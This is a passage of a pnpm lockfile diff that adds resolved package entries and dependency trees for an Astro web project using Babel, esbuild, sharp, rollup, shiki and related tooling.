'@babel/helper-validator-identifier': 7.28.5 + '@babel/traverse': 7.28.5 + transitivePeerDependencies: + - supports-color + + '@babel/helper-plugin-utils@7.27.1': {} + + '@babel/helper-string-parser@7.27.1': {} + + '@babel/helper-validator-identifier@7.28.5': {} + + '@babel/helper-validator-option@7.27.1': {} + + '@babel/helpers@7.28.4': + dependencies: + '@babel/template': 7.27.2 + '@babel/types': 7.28.5 + + '@babel/parser@7.28.5': + dependencies: + '@babel/types': 7.28.5 + + '@babel/plugin-transform-react-jsx-self@7.27.1(@babel/core@7.28.5)': + dependencies: + '@babel/core': 7.28.5 + '@babel/helper-plugin-utils': 7.27.1 + + '@babel/plugin-transform-react-jsx-source@7.27.1(@babel/core@7.28.5)': + dependencies: + '@babel/core': 7.28.5 + '@babel/helper-plugin-utils': 7.27.1 + + '@babel/template@7.27.2': + dependencies: + '@babel/code-frame': 7.27.1 + '@babel/parser': 7.28.5 + '@babel/types': 7.28.5 + + '@babel/traverse@7.28.5': + dependencies: + '@babel/code-frame': 7.27.1 + '@babel/generator': 7.28.5 + '@babel/helper-globals': 7.28.0 + '@babel/parser': 7.28.5 + '@babel/template': 7.27.2 + '@babel/types': 7.28.5 + debug: 4.4.3 + transitivePeerDependencies: + - supports-color + + '@babel/types@7.28.5': + dependencies: + '@babel/helper-string-parser': 7.27.1 + '@babel/helper-validator-identifier': 7.28.5 + + '@capsizecss/unpack@3.0.1': + dependencies: + fontkit: 2.0.4 + + '@ctrl/tinycolor@4.2.0': {} + + '@emmetio/abbreviation@2.3.3': + dependencies: + '@emmetio/scanner': 1.0.4 + + '@emmetio/css-abbreviation@2.1.8': + dependencies: + '@emmetio/scanner': 1.0.4 + + '@emmetio/css-parser@0.4.1': + dependencies: + '@emmetio/stream-reader': 2.2.0 + '@emmetio/stream-reader-utils': 0.1.0 + + '@emmetio/html-matcher@1.3.0': + dependencies: + '@emmetio/scanner': 1.0.4 + + '@emmetio/scanner@1.0.4': {} + + '@emmetio/stream-reader-utils@0.1.0': {} + + '@emmetio/stream-reader@2.2.0': {} + + '@emnapi/runtime@1.7.1': + dependencies: + tslib: 2.8.1 + optional: true + + '@esbuild/aix-ppc64@0.25.12': + optional: true + + '@esbuild/android-arm64@0.25.12': + optional: true + + '@esbuild/android-arm@0.25.12': + optional: true + + '@esbuild/android-x64@0.25.12': + optional: true + + '@esbuild/darwin-arm64@0.25.12': + optional: true + + '@esbuild/darwin-x64@0.25.12': + optional: true + + '@esbuild/freebsd-arm64@0.25.12': + optional: true + + '@esbuild/freebsd-x64@0.25.12': + optional: true + + '@esbuild/linux-arm64@0.25.12': + optional: true + + '@esbuild/linux-arm@0.25.12': + optional: true + + '@esbuild/linux-ia32@0.25.12': + optional: true + + '@esbuild/linux-loong64@0.25.12': + optional: true + + '@esbuild/linux-mips64el@0.25.12': + optional: true + + '@esbuild/linux-ppc64@0.25.12': + optional: true + + '@esbuild/linux-riscv64@0.25.12': + optional: true + + '@esbuild/linux-s390x@0.25.12': + optional: true + + '@esbuild/linux-x64@0.25.12': + optional: true + + '@esbuild/netbsd-arm64@0.25.12': + optional: true + + '@esbuild/netbsd-x64@0.25.12': + optional: true + + '@esbuild/openbsd-arm64@0.25.12': + optional: true + + '@esbuild/openbsd-x64@0.25.12': + optional: true + + '@esbuild/openharmony-arm64@0.25.12': + optional: true + + '@esbuild/sunos-x64@0.25.12': + optional: true + + '@esbuild/win32-arm64@0.25.12': + optional: true + + '@esbuild/win32-ia32@0.25.12': + optional: true + + '@esbuild/win32-x64@0.25.12': + optional: true + + '@expressive-code/core@0.41.5': + dependencies: + '@ctrl/tinycolor': 4.2.0 + hast-util-select: 6.0.4 + hast-util-to-html: 9.0.5 + hast-util-to-text: 4.0.2 + hastscript: 9.0.1 + postcss: 8.5.6 + postcss-nested: 6.2.0(postcss@8.5.6) + unist-util-visit: 5.0.0 + unist-util-visit-parents: 6.0.2 + + '@expressive-code/plugin-frames@0.41.5': + dependencies: + '@expressive-code/core': 0.41.5 + + '@expressive-code/plugin-shiki@0.41.5': + dependencies: + '@expressive-code/core': 0.41.5 + shiki: 3.19.0 + + '@expressive-code/plugin-text-markers@0.41.5': + dependencies: + '@expressive-code/core': 0.41.5 + + '@fontsource/ibm-plex-mono@5.2.7': {} + + '@fontsource/ibm-plex-sans@5.2.8': {} + + '@img/colour@1.0.0': {} + + '@img/sharp-darwin-arm64@0.34.5': + optionalDependencies: + '@img/sharp-libvips-darwin-arm64': 1.2.4 + optional: true + + '@img/sharp-darwin-x64@0.34.5': + optionalDependencies: + '@img/sharp-libvips-darwin-x64': 1.2.4 + optional: true + + '@img/sharp-libvips-darwin-arm64@1.2.4': + optional: true + + '@img/sharp-libvips-darwin-x64@1.2.4': + optional: true + + '@img/sharp-libvips-linux-arm64@1.2.4': + optional: true + + '@img/sharp-libvips-linux-arm@1.2.4': + optional: true + + '@img/sharp-libvips-linux-ppc64@1.2.4': + optional: true + + '@img/sharp-libvips-linux-riscv64@1.2.4': + optional: true + + '@img/sharp-libvips-linux-s390x@1.2.4': + optional: true + + '@img/sharp-libvips-linux-x64@1.2.4': + optional: true + + '@img/sharp-libvips-linuxmusl-arm64@1.2.4': + optional: true + + '@img/sharp-libvips-linuxmusl-x64@1.2.4': + optional: true + + '@img/sharp-linux-arm64@0.34.5': + optionalDependencies: + '@img/sharp-libvips-linux-arm64': 1.2.4 + optional: true + + '@img/sharp-linux-arm@0.34.5': + optionalDependencies: + '@img/sharp-libvips-linux-arm': 1.2.4 + optional: true + + '@img/sharp-linux-ppc64@0.34.5': + optionalDependencies: + '@img/sharp-libvips-linux-ppc64': 1.2.4 + optional: true + + '@img/sharp-linux-riscv64@0.34.5': + optionalDependencies: + '@img/sharp-libvips-linux-riscv64': 1.2.4 + optional: true + + '@img/sharp-linux-s390x@0.34.5': + optionalDependencies: + '@img/sharp-libvips-linux-s390x': 1.2.4 + optional: true + + '@img/sharp-linux-x64@0.34.5': + optionalDependencies: + '@img/sharp-libvips-linux-x64': 1.2.4 + optional: true + + '@img/sharp-linuxmusl-arm64@0.34.5': + optionalDependencies: + '@img/sharp-libvips-linuxmusl-arm64': 1.2.4 + optional: true + + '@img/sharp-linuxmusl-x64@0.34.5': + optionalDependencies: + '@img/sharp-libvips-linuxmusl-x64': 1.2.4 + optional: true + + '@img/sharp-wasm32@0.34.5': + dependencies: + '@emnapi/runtime': 1.7.1 + optional: true + + '@img/sharp-win32-arm64@0.34.5': + optional: true + + '@img/sharp-win32-ia32@0.34.5': + optional: true + + '@img/sharp-win32-x64@0.34.5': + optional: true + + '@jridgewell/gen-mapping@0.3.13': + dependencies: + '@jridgewell/sourcemap-codec': 1.5.5 + '@jridgewell/trace-mapping': 0.3.31 + + '@jridgewell/remapping@2.3.5': + dependencies: + '@jridgewell/gen-mapping': 0.3.13 + '@jridgewell/trace-mapping': 0.3.31 + + '@jridgewell/resolve-uri@3.1.2': {} + + '@jridgewell/sourcemap-codec@1.5.5': {} + + '@jridgewell/trace-mapping@0.3.31': + dependencies: + '@jridgewell/resolve-uri': 3.1.2 + '@jridgewell/sourcemap-codec': 1.5.5 + + '@lucide/astro@0.562.0(astro@5.16.4(@types/node@24.10.2)(rollup@4.53.3)(typescript@5.9.3)(yaml@2.8.2))': + dependencies: + astro: 5.16.4(@types/node@24.10.2)(rollup@4.53.3)(typescript@5.9.3)(yaml@2.8.2) + + '@mdx-js/mdx@3.1.1': + dependencies: + '@types/estree': 1.0.8 + '@types/estree-jsx': 1.0.5 + '@types/hast': 3.0.4 + '@types/mdx': 2.0.13 + acorn: 8.15.0 + collapse-white-space: 2.1.0 + devlop: 1.1.0 + estree-util-is-identifier-name: 3.0.0 + estree-util-scope: 1.0.0 + estree-walker: 3.0.3 + hast-util-to-jsx-runtime: 2.3.6 + markdown-extensions: 2.0.0 + recma-build-jsx: 1.0.0 + recma-jsx: 1.0.1(acorn@8.15.0) + recma-stringify: 1.0.0 + rehype-recma: 1.0.0 + remark-mdx: 3.1.1 + remark-parse: 11.0.0 + remark-rehype: 11.1.2 + source-map: 0.7.6 + unified: 11.0.5 + unist-util-position-from-estree: 2.0.0 + unist-util-stringify-position: 4.0.0 + unist-util-visit: 5.0.0 + vfile: 6.0.3 + transitivePeerDependencies: + - supports-color + + '@oslojs/encoding@1.1.0': {} + + '@resvg/resvg-js-android-arm-eabi@2.6.2': + optional: true + + '@resvg/resvg-js-android-arm64@2.6.2': + optional: true + + '@resvg/resvg-js-darwin-arm64@2.6.2': + optional: true + + '@resvg/resvg-js-darwin-x64@2.6.2': + optional: true + + '@resvg/resvg-js-linux-arm-gnueabihf@2.6.2': + optional: true + + '@resvg/resvg-js-linux-arm64-gnu@2.6.2': + optional: true + + '@resvg/resvg-js-linux-arm64-musl@2.6.2': + optional: true + + '@resvg/resvg-js-linux-x64-gnu@2.6.2': + optional: true + + '@resvg/resvg-js-linux-x64-musl@2.6.2': + optional: true + + '@resvg/resvg-js-win32-arm64-msvc@2.6.2': + optional: true + + '@resvg/resvg-js-win32-ia32-msvc@2.6.2': + optional: true + + '@resvg/resvg-js-win32-x64-msvc@2.6.2': + optional: true + + '@resvg/resvg-js@2.6.2': + optionalDependencies: + '@resvg/resvg-js-android-arm-eabi': 2.6.2 + '@resvg/resvg-js-android-arm64': 2.6.2 + '@resvg/resvg-js-darwin-arm64': 2.6.2 + '@resvg/resvg-js-darwin-x64': 2.6.2 + '@resvg/resvg-js-linux-arm-gnueabihf': 2.6.2 + '@resvg/resvg-js-linux-arm64-gnu': 2.6.2 + '@resvg/resvg-js-linux-arm64-musl': 2.6.2 + '@resvg/resvg-js-linux-x64-gnu': 2.6.2 + '@resvg/resvg-js-linux-x64-musl': 2.6.2 + '@resvg/resvg-js-win32-arm64-msvc': 2.6.2 + '@resvg/resvg-js-win32-ia32-msvc': 2.6.2 + '@resvg/resvg-js-win32-x64-msvc': 2.6.2 + + '@rolldown/pluginutils@1.0.0-beta.27': {} + + '@rollup/pluginutils@5.3.0(rollup@4.53.3)': + dependencies: + '@types/estree': 1.0.8 + estree-walker: 2.0.2 + picomatch: 4.0.3 + optionalDependencies: + rollup: 4.53.3 + + '@rollup/rollup-android-arm-eabi@4.53.3': + optional: true + + '@rollup/rollup-android-arm64@4.53.3': + optional: true + + '@rollup/rollup-darwin-arm64@4.53.3': + optional: true + + '@rollup/rollup-darwin-x64@4.53.3': + optional: true + + '@rollup/rollup-freebsd-arm64@4.53.3': + optional: true + + '@rollup/rollup-freebsd-x64@4.53.3': + optional: true + + '@rollup/rollup-linux-arm-gnueabihf@4.53.3': + optional: true + + '@rollup/rollup-linux-arm-musleabihf@4.53.3': + optional: true + + '@rollup/rollup-linux-arm64-gnu@4.53.3': + optional: true + + '@rollup/rollup-linux-arm64-musl@4.53.3': + optional: true + + '@rollup/rollup-linux-loong64-gnu@4.53.3': + optional: true + + '@rollup/rollup-linux-ppc64-gnu@4.53.3': + optional: true + + '@rollup/rollup-linux-riscv64-gnu@4.53.3': + optional: true + + '@rollup/rollup-linux-riscv64-musl@4.53.3': + optional: true + + '@rollup/rollup-linux-s390x-gnu@4.53.3': + optional: true + + '@rollup/rollup-linux-x64-gnu@4.53.3': + optional: true + + '@rollup/rollup-linux-x64-musl@4.53.3': + optional: true + + '@rollup/rollup-openharmony-arm64@4.53.3': + optional: true + + '@rollup/rollup-win32-arm64-msvc@4.53.3': + optional: true + + '@rollup/rollup-win32-ia32-msvc@4.53.3': + optional: true + + '@rollup/rollup-win32-x64-gnu@4.53.3': + optional: true + + '@rollup/rollup-win32-x64-msvc@4.53.3': + optional: true + + '@shikijs/core@3.19.0': + dependencies: + '@shikijs/types': 3.19.0 + '@shikijs/vscode-textmate': 10.0.2 + '@types/hast': 3.0.4 + hast-util-to-html: 9.0.5 + + '@shikijs/engine-javascript@3.19.0': + dependencies: + '@shikijs/types': 3.19.0 + '@shikijs/vscode-textmate': 10.0.2 + oniguruma-to-es: 4.3.4 + + '@shikijs/engine-oniguruma@3.19.0': + dependencies: + '@shikijs/types': 3.19.0 + '@shikijs/vscode-textmate': 10.0.2 + + '@shikijs/langs@3.19.0': + dependencies: + '@shikijs/types': 3.19.0 + + '@shikijs/themes@3.19.0': + dependencies: + '@shikijs/types': 3.19.0 + + '@shikijs/types@3.19.0': + dependencies: + '@shikijs/vscode-textmate': 10.0.2 + '@types/hast': 3.0.4 + + '@shikijs/vscode-textmate@10.0.2': {} + + '@shuding/opentype.js@1.4.0-beta.0': + dependencies: + fflate: 0.7.4 + string.prototype.codepointat: 0.2.1 + + '@swc/helpers@0.5.17': + dependencies: + tslib: 2.8.1 + + '@types/babel__core@7.20.5': + dependencies: + '@babel/parser': 7.28.5 + '@babel/types': 7.28.5 + '@types/babel__generator': 7.27.0 + '@types/babel__template': 7.4.4 + '@types/babel__traverse': 7.28.0 + + '@types/babel__generator@7.27.0': + dependencies: + '@babel/types': 7.28.5 + + '@types/babel__template@7.4.4': + dependencies: + '@babel/parser': 7.28.5 + '@babel/types': 7.28.5 + + '@types/babel__traverse@7.28.0': + dependencies: + '@babel/types': 7.28.5 + + '@types/debug@4.1.12': + dependencies: + '@types/ms': 2.1.0 + + '@types/estree-jsx@1.0.5': + dependencies: + '@types/estree': 1.0.8 + + '@types/estree@1.0.8': {} + + '@types/fontkit@2.0.8': + dependencies: + '@types/node': 24.10.2 + + '@types/hast@3.0.4': + dependencies: + '@types/unist': 3.0.3 + + '@types/mdast@4.0.4': + dependencies: + '@types/unist': 3.0.3 + + '@types/mdx@2.0.13': {} + + '@types/ms@2.1.0': {} + + '@types/nlcst@2.0.3': + dependencies: + '@types/unist': 3.0.3 + + '@types/node@17.0.45': {} + + '@types/node@24.10.2': + dependencies: + undici-types: 7.16.0 + + '@types/react-dom@19.2.3(@types/react@19.2.7)': + dependencies: + '@types/react': 19.2.7 + + '@types/react@19.2.7': + dependencies: + csstype: 3.2.3 + + '@types/sax@1.2.7': + dependencies: + '@types/node': 24.10.2 + + '@types/unist@2.0.11': {} + + '@types/unist@3.0.3': {} + + '@ungap/structured-clone@1.3.0': {} + + '@vitejs/plugin-react@4.7.0(vite@6.4.1(@types/node@24.10.2)(yaml@2.8.2))': + dependencies: + '@babel/core': 7.28.5 + '@babel/plugin-transform-react-jsx-self': 7.27.1(@babel/core@7.28.5) + '@babel/plugin-transform-react-jsx-source': 7.27.1(@babel/core@7.28.5) + '@rolldown/pluginutils': 1.0.0-beta.27 + '@types/babel__core': 7.20.5 + react-refresh: 0.17.0 + vite: 6.4.1(@types/node@24.10.2)(yaml@2.8.2) + transitivePeerDependencies: + - supports-color + + '@volar/kit@2.4.27(typescript@5.9.3)': + dependencies: + '@volar/language-service': 2.4.27 + '@volar/typescript': 2.4.27 + typesafe-path: 0.2.2 + typescript: 5.9.3 + vscode-languageserver-textdocument: 1.0.12 + vscode-uri: 3.1.0 + + '@volar/language-core@2.4.27': + dependencies: + '@volar/source-map': 2.4.27 + + '@volar/language-server@2.4.27': + dependencies: + '@volar/language-core': 2.4.27 + '@volar/language-service': 2.4.27 + '@volar/typescript': 2.4.27 + path-browserify: 1.0.1 + request-light: 0.7.0 + vscode-languageserver: 9.0.1 + vscode-languageserver-protocol: 3.17.5 + vscode-languageserver-textdocument: 1.0.12 + vscode-uri: 3.1.0 + + '@volar/language-service@2.4.27': + dependencies: + '@volar/language-core': 2.4.27 + vscode-languageserver-protocol: 3.17.5 + vscode-languageserver-textdocument: 1.0.12 + vscode-uri: 3.1.0 + + '@volar/source-map@2.4.27': {} + + '@volar/typescript@2.4.27': + dependencies: + '@volar/language-core': 2.4.27 + path-browserify: 1.0.1 + vscode-uri: 3.1.0 + + '@vscode/emmet-helper@2.11.0': + dependencies: + emmet: 2.4.11 + jsonc-parser: 2.3.1 + vscode-languageserver-textdocument: 1.0.12 + vscode-languageserver-types: 3.17.5 + vscode-uri: 3.1.0 + + '@vscode/l10n@0.0.18': {} + + acorn-jsx@5.3.2(acorn@8.15.0): + dependencies: + acorn: 8.15.0 + + acorn@8.15.0: {} + + ajv-draft-04@1.0.0(ajv@8.17.1): + optionalDependencies: + ajv: 8.17.1 + + ajv@8.17.1: + dependencies: + fast-deep-equal: 3.1.3 + fast-uri: 3.1.0 + json-schema-traverse: 1.0.0 + require-from-string: 2.0.2 + + ansi-align@3.0.1: + dependencies: + string-width: 4.2.3 + + ansi-regex@5.0.1: {} + + ansi-regex@6.2.2: {} + + ansi-styles@4.3.0: + dependencies: + color-convert: 2.0.1 + + ansi-styles@6.2.3: {} + + anymatch@3.1.3: + dependencies: + normalize-path: 3.0.0 + picomatch: 2.3.1 + + arg@5.0.2: {} + + argparse@2.0.1: {} + + aria-query@5.3.2: {} + + array-iterate@2.0.1: {} + + astring@1.9.0: {} + + astro-expressive-code@0.41.5(astro@5.16.4(@types/node@24.10.2)(rollup@4.53.3)(typescript@5.9.3)(yaml@2.8.2)): + dependencies: + astro: 5.16.4(@types/node@24.10.2)(rollup@4.53.3)(typescript@5.9.3)(yaml@2.8.2) + rehype-expressive-code: 0.41.5 + + astro@5.16.4(@types/node@24.10.2)(rollup@4.53.3)(typescript@5.9.3)(yaml@2.8.2): + dependencies: + '@astrojs/compiler': 2.13.0 + '@astrojs/internal-helpers': 0.7.5 + '@astrojs/markdown-remark': 6.3.9 + '@astrojs/telemetry': 3.3.0 + '@capsizecss/unpack': 3.0.1 + '@oslojs/encoding': 1.1.0 + '@rollup/pluginutils': 5.3.0(rollup@4.53.3) + acorn: 8.15.0 + aria-query: 5.3.2 + axobject-query: 4.1.0 + boxen: 8.0.1 + ci-info: 4.3.1 + clsx: 2.1.1 + common-ancestor-path: 1.0.1 + cookie: 1.1.1 + cssesc: 3.0.0 + debug: 4.4.3 + deterministic-object-hash: 2.0.2 + devalue: 5.6.0 + diff: 5.2.0 + dlv: 1.1.3 + dset: 3.1.4 + es-module-lexer: 1.7.0 + esbuild: 0.25.12 + estree-walker: 3.0.3 + flattie: 1.1.1 + fontace: 0.3.1 + github-slugger: 2.0.0 + html-escaper: 3.0.3 + http-cache-semantics: 4.2.0 + import-meta-resolve: 4.2.0 + js-yaml: 4.1.1 + magic-string: 0.30.21 + magicast: 0.5.1 + mrmime: 2.0.1 + neotraverse: 0.6.18 + p-limit: 6.2.0 + p-queue: 8.1.1 + package-manager-detector: 1.6.0 + piccolore: 0.1.3 + picomatch: 4.0.3 + prompts: 2.4.2 + rehype: 13.0.2 + semver: 7.7.3 + shiki: 3.19.0 + smol-toml: 1.5.2 + svgo: 4.0.0 + tinyexec: 1.0.2 + tinyglobby: 0.2.15 + tsconfck: 3.1.6(typescript@5.9.3) + ultrahtml: 1.6.0 + unifont: 0.6.0 + unist-util-visit: 5.0.0 + unstorage: 1.17.3 + vfile: 6.0.3 + vite: 6.4.1(@types/node@24.10.2)(yaml@2.8.2) + vitefu: 1.1.1(vite@6.4.1(@types/node@24.10.2)(yaml@2.8.2)) + xxhash-wasm: 1.1.0 + yargs-parser: 21.1.1 + yocto-spinner: 0.2.3 + zod: 3.25.76 + zod-to-json-schema: 3.25.0(zod@3.25.76) + zod-to-ts: 1.2.0(typescript@5.9.3)(zod@3.25.76) + optionalDependencies: + sharp: 0.34.5 + transitivePeerDependencies: + - '@azure/app-configuration' + - '@azure/cosmos' + - '@azure/data-tables' + - '@azure/identity' + - '@azure/keyvault-secrets' + - '@azure/storage-blob' + - '@capacitor/preferences' + - '@deno/kv' + - '@netlify/blobs' + - '@planetscale/database' + - '@types/node' + - '@upstash/redis' + - '@vercel/blob' + - '@vercel/functions' + - '@vercel/kv' + - aws4fetch + - db0 + - idb-keyval + - ioredis + - jiti + - less + - lightningcss + - rollup + - sass + - sass-embedded + - stylus + - sugarss + - supports-color + - terser + - tsx + - typescript + - uploadthing + - yaml + + axobject-query@4.1.0: {} + + bail@2.0.2: {} + + base-64@1.0.0: {} + + base64-js@0.0.8: {} + + base64-js@1.5.1: {} + + baseline-browser-mapping@2.9.11: {} + + bcp-47-match@2.0.3: {} + + boolbase@1.0.0: {} + + boxen@8.0.1: + dependencies: + ansi-align: 3.0.1 + camelcase: 8.0.0 + chalk: 5.6.2 + cli-boxes: 3.0.0 + string-width: 7.2.0 + type-fest: 4.41.0 + widest-line: 5.0.0 + wrap-ansi: 9.0.2 + + brotli@1.3.3: + dependencies: + base64-js: 1.5.1 + + browserslist@4.28.1: + dependencies: + baseline-browser-mapping: 2.9.11 + caniuse-lite: 1.0.30001761 + electron-to-chromium: 1.5.267 + node-releases: 2.0.27 + update-browserslist-db: 1.2.3(browserslist@4.28.1) + + camelcase@8.0.0: {} + + camelize@1.0.1: {} + + caniuse-lite@1.0.30001761: {} + + ccount@2.0.1: {} + + chalk@5.6.2: {} + + character-entities-html4@2.1.0: {} + + character-entities-legacy@3.0.0: {} + + character-entities@2.0.2: {} + + character-reference-invalid@2.0.1: {} + + chokidar@4.0.3: + dependencies: + readdirp: 4.1.2 + + ci-info@4.3.1: {} + + cli-boxes@3.0.0: {} + + cliui@8.0.1: + dependencies: + string-width: 4.2.3 + strip-ansi: 6.0.1 + wrap-ansi: 7.0.0 + + clone@2.1.2: {} + + clsx@2.1.1: {} + + collapse-white-space@2.1.0: {} + + color-convert@2.0.1: + dependencies: + color-name: 1.1.4 + + color-name@1.1.4: {} + + comma-separated-tokens@2.0.3: {} + + commander@11.1.0: {} + + common-ancestor-path@1.0.1: {} + + convert-source-map@2.0.0: {} + + cookie-es@1.2.2: {} + + cookie@1.1.1: {} + + crossws@0.3.5: + dependencies: + uncrypto: 0.1.3 + + css-background-parser@0.1.0: {} + + css-box-shadow@1.0.0-3: {} + + css-color-keywords@1.0.0: {} + + css-gradient-parser@0.0.17: {} + + css-select@5.2.2: + dependencies: + boolbase: 1.0.0 + css-what: 6.2.2 + domhandler: 5.0.3 + domutils: 3.2.2 + nth-check: 2.1.1 + + css-selector-parser@3.3.0: {} + + css-to-react-native@3.2.0: + dependencies: + camelize: 1.0.1 + css-color-keywords: 1.0.0 + postcss-value-parser: 4.2.0 + + css-tree@2.2.1: + dependencies: + mdn-data: 2.0.28 + source-map-js: 1.2.1 + + css-tree@3.1.0: + dependencies: + mdn-data: 2.12.2 + source-map-js: 1.2.1 + + css-what@6.2.2: {} + + cssesc@3.0.0: {} + + csso@5.0.5: + dependencies: + css-tree: 2.2.1 + + csstype@3.2.3: {} + + debug@4.4.3: + dependencies: + ms: 2.1.3 + + decode-named-character-reference@1.2.0: + dependencies: + character-entities: 2.0.2 + + defu@6.1.4: {} + + dequal@2.0.3: {} + + destr@2.0.5: {} + + detect-libc@2.1.2: {} + + deterministic-object-hash@2.0.2: + dependencies: + base-64: 1.0.0 + + devalue@5.6.0: {} + + devlop@1.1.0: + dependencies: + dequal: 2.0.3 + + dfa@1.2.0: {} + + diff@5.2.0: {} + + direction@2.0.1: {} + + dlv@1.1.3: {} + + dom-serializer@2.0.0: + dependencies: + domelementtype: 2.3.0 + domhandler: 5.0.3 + entities: 4.5.0 + + domelementtype@2.3.0: {} + + domhandler@5.0.3: + dependencies: + domelementtype: 2.3.0 + + domutils@3.2.2: + dependencies: + dom-serializer: 2.0.0 + domelementtype: 2.3.0 + domhandler: 5.0.3 + + dset@3.1.4: {} + + electron-to-chromium@1.5.267: {} + + embla-carousel-auto-scroll@8.6.0(embla-carousel@8.6.0): + dependencies: + embla-carousel: 8.6.0 + + embla-carousel-autoplay@8.6.0(embla-carousel@8.6.0): + dependencies: + embla-carousel: 8.6.0 + + embla-carousel-fade@8.6.0(embla-carousel@8.6.0): + dependencies: + embla-carousel: 8.6.0 + + embla-carousel@8.6.0: {} + + emmet@2.4.11: + dependencies: + '@emmetio/abbreviation': 2.3.3 + '@emmetio/css-abbreviation': 2.1.8 + + emoji-regex-xs@2.0.1: {} + + emoji-regex@10.6.0: {} + + emoji-regex@8.0.0: {} + + entities@4.5.0: {} + + entities@6.0.1: {} + + es-module-lexer@1.7.0: {} + + esast-util-from-estree@2.0.0: + dependencies: + '@types/estree-jsx': 1.0.5 + devlop: 1.1.0 + estree-util-visit: 2.0.0 + unist-util-position-from-estree: 2.0.0 + + esast-util-from-js@2.0.1: + dependencies: + '@types/estree-jsx': 1.0.5 + acorn: 8.15.0 + esast-util-from-estree: 2.0.0 + vfile-message: 4.0.3 + + esbuild@0.25.12: + optionalDependencies: + '@esbuild/aix-ppc64': 0.25.12 + '@esbuild/android-arm': 0.25.12 + '@esbuild/android-arm64': 0.25.12 + '@esbuild/android-x64': 0.25.12 + '@esbuild/darwin-arm64': 0.25.12 + '@esbuild/darwin-x64': 0.25.12 + '@esbuild/freebsd-arm64': 0.25.12 + '@esbuild/freebsd-x64': 0.25.12 + '@esbuild/linux-arm': 0.25.12 + '@esbuild/linux-arm64': 0.25.12 + '@esbuild/linux-ia32': 0.25.12 + '@esbuild/linux-loong64': 0.25.12 + '@esbuild/linux-mips64el': 0.25.12 + '@esbuild/linux-ppc64': 0.25.12 + '@esbuild/linux-riscv64': 0.25.12 + '@esbuild/linux-s390x': 0.25.12 + '@esbuild/linux-x64': 0.25.12 + '@esbuild/netbsd-arm64': 0.25.12 + '@esbuild/netbsd-x64': 0.25.12 + '@esbuild/openbsd-arm64': 0.25.12 + '@esbuild/openbsd-x64': 0.25.12 + '@esbuild/openharmony-arm64': 0.25.12 + '@esbuild/sunos-x64': 0.25.12 + '@esbuild/win32-arm64': 0.25.12 + '@esbuild/win32-ia32': 0.25.12 + '@esbuild/win32-x64': 0.25.12 + + escalade@3.2.0: {} + + escape-html@1.0.3: {} + + escape-string-regexp@5.0.0: {} + + estree-util-attach-comments@3.0.0: + dependencies: + '@types/estree': 1.0.8 + + estree-util-build-jsx@3.0.1: + dependencies: + '@types/estree-jsx': 1.0.5 + devlop: 1.1.0 + estree-util-is-identifier-name: 3.0.0 + estree-walker: 3.0.3 + + estree-util-is-identifier-name@3.0.0: {} + + estree-util-scope@1.0.0: + dependencies: + '@types/estree': 1.0.8 + devlop: 1.1.0 + + estree-util-to-js@2.0.0: + dependencies: + '@types/estree-jsx': 1.0.5 + astring: 1.9.0 + source-map: 0.7.6 + + estree-util-visit@2.0.0: + dependencies: + '@types/estree-jsx': 1.0.5 + '@types/unist': 3.0.3 + + estree-walker@2.0.2: {} + + estree-walker@3.0.3: + dependencies: + '@types/estree': 1.0.8 + + eventemitter3@5.0.1: {} + + expressive-code@0.41.5: + dependencies: + '@expressive-code/core': 0.41.5 + '@expressive-code/plugin-frames': 0.41.5 + '@expressive-code/plugin-shiki': 0.41.5 + '@expressive-code/plugin-text-markers': 0.41.5 + + extend@3.0.2: {} + + fast-deep-equal@3.1.3: {} + + fast-uri@3.1.0: {} + + fdir@6.5.0(picomatch@4.0.3): + optionalDependencies: + picomatch: 4.0.3 + + fflate@0.7.4: {} + + flattie@1.1.1: {} + + fontace@0.3.1: + dependencies: + '@types/fontkit': 2.0.8 + fontkit: 2.0.4 + + fontkit@2.0.4: + dependencies: + '@swc/helpers': 0.5.17 + brotli: 1.3.3 + clone: 2.1.2 + dfa: 1.2.0 + fast-deep-equal: 3.1.3 + restructure: 3.0.2 + tiny-inflate: 1.0.3 + unicode-properties: 1.4.1 + unicode-trie: 2.0.0 + + fsevents@2.3.3: + optional: true + + gensync@1.0.0-beta.2: {} + + get-caller-file@2.0.5: {} + + get-east-asian-width@1.4.0: {} + + github-slugger@2.0.0: {} + + h3@1.15.4: + dependencies: + cookie-es: 1.2.2 + crossws: 0.3.5 + defu: 6.1.4 + destr: 2.0.5 + iron-webcrypto: 1.2.1 + node-mock-http: 1.0.4 + radix3: 1.1.2 + ufo: 1.6.1 + uncrypto: 0.1.3 + + hast-util-from-html@2.0.3: + dependencies: + '@types/hast': 3.0.4 + devlop: 1.1.0 + hast-util-from-parse5: 8.0.3 + parse5: 7.3.0 + vfile: 6.0.3 + vfile-message: 4.0.3 + + hast-util-from-parse5@8.0.3: + dependencies: + '@types/hast': 3.0.4 + '@types/unist': 3.0.3 + devlop: 1.1.0 + hastscript: 9.0.1 + property-information: 7.1.0 + vfile: 6.0.3 + vfile-location: 5.0.3 + web-namespaces: 2.0.1 + + hast-util-has-property@3.0.0: + dependencies: + '@types/hast': 3.0.4 + + hast-util-is-element@3.0.0: + dependencies: + '@types/hast': 3.0.4 + + hast-util-parse-selector@4.0.0: + dependencies: + '@types/hast': 3.0.4 + + hast-util-raw@9.1.0: + dependencies: + '@types/hast': 3.0.4 + '@types/unist': 3.0.3 + '@ungap/structured-clone': 1.3.0 + hast-util-from-parse5: 8.0.3 + hast-util-to-parse5: 8.0.1 + html-void-elements: 3.0.0 + mdast-util-to-hast: 13.2.1 + parse5: 7.3.0 + unist-util-position: 5.0.0 + unist-util-visit: 5.0.0 + vfile: 6.0.3 + web-namespaces: 2.0.1 + zwitch: 2.0.4 + + hast-util-select@6.0.4: + dependencies: + '@types/hast': 3.0.4 + '@types/unist': 3.0.3 + bcp-47-match: 2.0.3 + comma-separated-tokens: 2.0.3 + css-selector-parser: 3.3.0 + devlop: 1.1.0 + direction: 2.0.1 + hast-util-has-property: 3.0.0 + hast-util-to-string: 3.0.1 + hast-util-whitespace: 3.0.0 + nth-check: 2.1.1 + property-information: 7.1.0 + space-separated-tokens: 2.0.2 + unist-util-visit: 5.0.0 + zwitch: 2.0.4 + + hast-util-to-estree@3.1.3: + dependencies: + '@types/estree': 1.0.8 + '@types/estree-jsx': 1.0.5 + '@types/hast': 3.0.4 + comma-separated-tokens: 2.0.3 + devlop: 1.1.0 + estree-util-attach-comments: 3.0.0 + estree-util-is-identifier-name: 3.0.0 + hast-util-whitespace: 3.0.0 + mdast-util-mdx-expression: 2.0.1 + mdast-util-mdx-jsx: 3.2.0 + mdast-util-mdxjs-esm: 2.0.1 + property-information: 7.1.0 + 